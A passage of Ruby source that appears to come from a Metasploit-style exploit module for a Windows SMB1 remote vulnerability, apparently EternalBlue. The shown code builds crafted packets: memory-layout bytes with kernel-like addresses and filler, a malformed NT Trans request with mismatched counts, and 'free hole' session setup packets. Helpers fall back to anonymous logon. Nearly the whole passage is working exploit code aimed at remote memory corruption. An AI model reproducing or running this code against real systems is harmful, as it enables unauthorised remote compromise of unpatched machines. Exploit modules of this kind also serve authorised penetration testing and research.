pkt << "\x00\xf1\xdf\xff\xff\xff\xff\xff" # x64
|
|
|
|
pkt << "\x60\x00\x04\x10"
|
|
pkt << "\x00" * 4
|
|
|
|
pkt << "\x80\xef\xdf\xff"
|
|
|
|
pkt << "\x00" * 4
|
|
pkt << "\x10\x00\xd0\xff\xff\xff\xff\xff"
|
|
pkt << "\x18\x01\xd0\xff\xff\xff\xff\xff"
|
|
pkt << "\x00" * 0x10
|
|
|
|
pkt << "\x60\x00\x04\x10"
|
|
pkt << "\x00" * 0xc
|
|
pkt << "\x90\xff\xcf\xff\xff\xff\xff\xff"
|
|
pkt << "\x00" * 0x8
|
|
pkt << "\x80\x10"
|
|
pkt << "\x00" * 0xe
|
|
pkt << "\x39"
|
|
pkt << "\xbb"
|
|
|
|
pkt << "\x41" * 965
|
|
when :eb_trans2_zero
|
|
vprint_status('Making :eb_trans2_zero packet')
|
|
pkt << "\x00" * 2055
|
|
pkt << "\x83\xf3"
|
|
pkt << "\x41" * 2039
|
|
else
|
|
vprint_status('Making :eb_trans2_buffer packet')
|
|
pkt << "\x41" * 4096
|
|
end
|
|
pkt
|
|
end
|
|
|
|
def make_smb1_nt_trans_packet(tree_id, user_id)
|
|
packet = RubySMB::SMB1::Packet::NtTrans::Request.new
|
|
|
|
# Disable the automatic padding because it will distort
|
|
# our values here.
|
|
packet.data_block.enable_padding = false
|
|
|
|
packet = set_smb1_headers(packet, tree_id, user_id)
|
|
|
|
packet.parameter_block.max_setup_count = 1
|
|
packet.parameter_block.total_parameter_count = 30
|
|
packet.parameter_block.total_data_count = 66512
|
|
packet.parameter_block.max_parameter_count = 30
|
|
packet.parameter_block.max_data_count = 0
|
|
packet.parameter_block.parameter_count = 30
|
|
packet.parameter_block.parameter_offset = 75
|
|
packet.parameter_block.data_count = 976
|
|
packet.parameter_block.data_offset = 104
|
|
packet.parameter_block.function = 0
|
|
|
|
packet.parameter_block.setup << 0x0000
|
|
|
|
packet.data_block.byte_count = 1004
|
|
packet.data_block.trans2_parameters = "\x00" * 31 + "\x01" + ("\x00" * 973)
|
|
packet
|
|
end
|
|
|
|
def make_smb1_free_hole_session_packet(flags2, vcnum, native_os)
|
|
packet = RubySMB::SMB1::Packet::SessionSetupRequest.new
|
|
|
|
packet.smb_header.flags.read("\x18")
|
|
packet.smb_header.flags2.read(flags2)
|
|
packet.smb_header.pid_high = 65279
|
|
packet.smb_header.mid = 64
|
|
|
|
packet.parameter_block.vc_number.read(vcnum)
|
|
packet.parameter_block.max_buffer_size = 4356
|
|
packet.parameter_block.max_mpx_count = 10
|
|
packet.parameter_block.security_blob_length = 0
|
|
|
|
packet.smb_header.flags2.unicode = 0
|
|
packet.data_block.security_blob = native_os + "\x00" * 15
|
|
packet.data_block.native_os = ''
|
|
packet.data_block.native_lan_man = ''
|
|
packet
|
|
end
|
|
|
|
# Sets common SMB1 Header values used by the various
|
|
# packets in the exploit.
|
|
#
|
|
# @return [RubySMB::GenericPacket] the modified version of the packet
|
|
def set_smb1_headers(packet, tree_id, user_id)
|
|
packet.smb_header.flags2.read("\x07\xc0")
|
|
packet.smb_header.tid = tree_id
|
|
packet.smb_header.uid = user_id
|
|
packet.smb_header.pid_low = 65279
|
|
packet.smb_header.mid = 64
|
|
packet
|
|
end
|
|
|
|
# Returns the value to be passed to SMB clients for
|
|
# the password. If the user has not supplied a password
|
|
# it returns an empty string to trigger an anonymous
|
|
# logon.
|
|
#
|
|
# @return [String] the password value
|
|
def smb_pass
|
|
if datastore['SMBPass'].present?
|
|
datastore['SMBPass']
|
|
else
|
|
''
|
|
end
|
|
end
|
|
|
|
# Returns the value to be passed to SMB clients for
|
|
# the username. If the user has not supplied a username
|
|
# it returns an empty string to trigger an anonymous
|
|
# logon.
|
|
#
|
|
# @return [String] the username value
|
|
def smb_user
|
|
if datastore['SMBUser'].present?
|
|
datastore['SMBUser']
|
|
else
|
|
''
|
|
end
|
|
end
|
|
|
|
# Returns the value to be passed to SMB clients for
|
|
# the domain. If the user has not supplied a domain
|
|
# it returns an empty string to trigger an anonymous
|
|
# logon.
|
|
#
|
|
# @return [String] the domain value
|
|
def smb_domain
|
|
if datastore['SMBDomain'].present?
|
|
datastore['SMBDomain']
|
|
else
|
|
''
|
|
end
|
|
end
|
|
end
|